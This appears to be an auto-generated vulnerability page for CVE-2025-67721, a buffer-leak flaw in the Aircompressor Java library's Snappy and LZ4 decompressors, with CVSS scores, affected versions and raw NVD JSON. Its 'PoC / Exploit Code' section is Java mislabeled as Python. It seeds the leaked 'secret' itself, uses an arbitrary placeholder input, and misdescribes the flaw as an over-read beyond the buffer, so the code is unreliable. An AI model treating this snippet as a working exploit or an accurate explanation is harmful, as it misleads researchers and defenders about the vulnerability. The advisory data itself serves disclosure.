Security Vulnerability Report
中文
CVE-2025-67721 CVSS 7.5 HIGH

CVE-2025-67721

Published: 2025-12-12 23:15:42
Last Modified: 2026-03-17 19:40:08

Description

Aircompressor is a library with ports of the Snappy, LZO, LZ4, and Zstandard compression algorithms to Java. In versions 3.3 and below, incorrect handling of malformed data in Java-based decompressor implementations for Snappy and LZ4 allow remote attackers to read previous buffer contents via crafted compressed input. With certain crafted compressed inputs, elements from the output buffer can end up in the uncompressed output, potentially leaking sensitive data. This is relevant for applications that reuse the same output buffer to uncompress multiple inputs. This can be the case of a web server that allocates a fix-sized buffer for performance purposes. There is similar vulnerability in GHSA-cmp6-m4wj-q63q. This issue is fixed in version 3.4.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:airlift:aircompressor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:airlift:aircompressor:*:*:*:*:*:*:*:* - VULNERABLE
airlift/aircompressor <= 3.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import io.airlift.compress.snappy.SnappyDecompressor; import io.airlift.compress.lz4.Lz4Decompressor; public class CVE_2025_67721_POC { public static void main(String[] args) { // This PoC demonstrates buffer over-read in Aircompressor // Vulnerability: Snappy/LZ4 decompressor reads beyond allocated buffer byte[] sensitiveData = "SECRET_API_KEY_12345".getBytes(); byte[] outputBuffer = new byte[1024]; // Initialize buffer with sensitive data (simulating previous buffer reuse) System.arraycopy(sensitiveData, 0, outputBuffer, 0, sensitiveData.length); // Malformed compressed input that triggers over-read byte[] maliciousInput = createMalformedCompressedData(); SnappyDecompressor decompressor = new SnappyDecompressor(); try { // This may leak sensitiveData through outputBuffer int decompressedSize = decompressor.decompress( maliciousInput, 0, maliciousInput.length, outputBuffer, 0, outputBuffer.length ); // Check if sensitive data leaked into output String result = new String(outputBuffer, 0, decompressedSize); if (result.contains("SECRET")) { System.out.println("[VULNERABLE] Buffer over-read detected!"); System.out.println("Leaked data: " + result); } } catch (Exception e) { System.out.println("Decompression error: " + e.getMessage()); } } private static byte[] createMalformedCompressedData() { // Generate malformed input that triggers the vulnerability // In real attack, this would be specifically crafted to cause over-read return new byte[]{0x01, 0x00, 0x00, 0x00, (byte)0xff, (byte)0xff}; } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67721", "sourceIdentifier": "[email protected]", "published": "2025-12-12T23:15:42.067", "lastModified": "2026-03-17T19:40:07.640", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Aircompressor is a library with ports of the Snappy, LZO, LZ4, and Zstandard compression algorithms to Java. In versions 3.3 and below, incorrect handling of malformed data in Java-based decompressor implementations for Snappy and LZ4 allow remote attackers to read previous buffer contents via crafted compressed input. With certain crafted compressed inputs, elements from the output buffer can end up in the uncompressed output, potentially leaking sensitive data. This is relevant for applications that reuse the same output buffer to uncompress multiple inputs. This can be the case of a web server that allocates a fix-sized buffer for performance purposes. There is similar vulnerability in GHSA-cmp6-m4wj-q63q. This issue is fixed in version 3.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-201"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:airlift:aircompressor:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.0.3", "matchCriteriaId": "C8C79BDB-D062-4260-ADD4-DD562CB6D5D0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:airlift:aircompressor:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0", "versionEndExcluding": "3.4", "matchCriteriaId": "CD90D849-39DF-4958-B3E1-353C20BDB998"}]}]}], "references": [{"url": "https://github.com/airlift/aircompressor/commit/f2b489b398779b40c1ee29ddb11d7edef54ddc15", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/airlift/aircompressor/commit/ff12c4d5757c9d6d1de3d39a10402f1f84f9b765", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/airlift/aircompressor/security/advisories/GHSA-vx9q-rhv9-3jvg", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}